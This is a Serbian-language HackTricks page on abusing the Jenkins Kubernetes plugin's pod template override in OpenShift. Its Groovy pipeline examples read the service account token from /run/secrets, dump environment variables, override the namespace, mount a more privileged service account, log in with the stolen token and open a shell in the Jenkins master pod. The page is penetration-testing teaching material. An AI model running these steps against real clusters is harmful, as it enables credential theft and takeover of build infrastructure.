Jenkins u Openshift - preklapanje build pod-a

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Originalni autor ove stranice je Fares

Kubernetes plugin za Jenkins

Ovaj plugin je uglavnom odgovoran za osnovne funkcije Jenkinsa unutar openshift/kubernetes klastera. Zvanična dokumentacija ovde Nudi nekoliko funkcionalnosti kao što je mogućnost za programere da preklapaju neke podrazumevane konfiguracije jenkins build pod-a.

Osnovna funkcionalnost

Ovaj plugin omogućava fleksibilnost programerima prilikom izgradnje njihovog koda u adekvatnom okruženju.

groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Neka zloupotreba korišćenjem pod yaml override

Međutim, može se zloupotrebiti da se koristi bilo koja dostupna slika kao što je Kali Linux i izvrši proizvoljne komande koristeći unapred instalirane alate iz te slike. U sledećem primeru možemo eksfiltrirati token serviceaccount-a pokrenutog poda.

groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

Drugačija sintaksa za postizanje istog cilja.

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Primer za prepisivanje imenskog prostora pod-a

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Još jedan primer koji pokušava da montira serviceaccount (koji može imati više dozvola od podrazumevanog, koji pokreće vašu izgradnju) na osnovu njegovog imena. Možda ćete prvo morati da pogodite ili enumerišete postojeće serviceaccounts.

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Ista tehnika se primenjuje za pokušaj montiranja Sekreta. Krajnji cilj ovde bi bio da se otkrije kako konfigurisati svoj pod build da efikasno pivotira ili dobije privilegije.

Idemo dalje

Kada se naviknete da se igrate s tim, iskoristite svoje znanje o Jenkins-u i Kubernetes/Openshift-u da pronađete loše konfiguracije / zloupotrebe.

Postavite sebi sledeća pitanja:

  • Koji servisni nalog se koristi za implementaciju build podova?
  • Koje uloge i dozvole ima? Da li može da čita sekrete imenskog prostora u kojem se trenutno nalazim?
  • Mogu li dalje da enumerišem druge build podove?
  • Sa kompromitovanim sa, mogu li da izvršavam komande na master čvoru/podu?
  • Mogu li dalje da enumerišem klaster da pivotiram negde drugde?
  • Koji SCC je primenjen?

Možete saznati koje oc/kubectl komande da izdate ovde i ovde.

Mogući privesc/pivoting scenariji

Pretpostavimo da ste tokom vaše procene otkrili da se svi jenkins build-ovi izvršavaju unutar imenskog prostora pod nazivom worker-ns. Utvrdili ste da je podrazumevajući servisni nalog pod nazivom default-sa montiran na build podovima, međutim, nema mnogo dozvola osim pristupa za čitanje na nekim resursima, ali ste uspeli da identifikujete postojeći servisni nalog pod nazivom master-sa. Takođe pretpostavimo da imate oc komandu instaliranu unutar pokrenutog build kontejnera.

Sa sledećim build skriptom možete preuzeti kontrolu nad master-sa servisnim nalogom i dalje enumerisati.

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

U zavisnosti od vašeg pristupa, ili treba da nastavite svoj napad iz skripte za izgradnju ili se možete direktno prijaviti kao ovaj sa na aktivnom klasteru:

bash
oc login --token=$token --server=https://apiserver.com:port

Ako ovaj sa ima dovoljno dozvola (kao što su pod/exec), možete takođe preuzeti kontrolu nad celim jenkins instance izvršavanjem komandi unutar pod-a master čvora, ako se pokreće unutar istog imenskog prostora. Ovaj pod možete lako identifikovati prema njegovom imenu i činjenici da mora montirati PVC (persistent volume claim) koji se koristi za čuvanje jenkins podataka.

bash
oc rsh pod_name -c container_name

U slučaju da master node pod ne radi unutar iste namespace kao radnici, možete pokušati slične napade ciljanjem master namespace. Pretpostavimo da se zove jenkins-master. Imajte na umu da serviceAccount master-sa treba da postoji u jenkins-master namespace (i možda ne postoji u worker-ns namespace).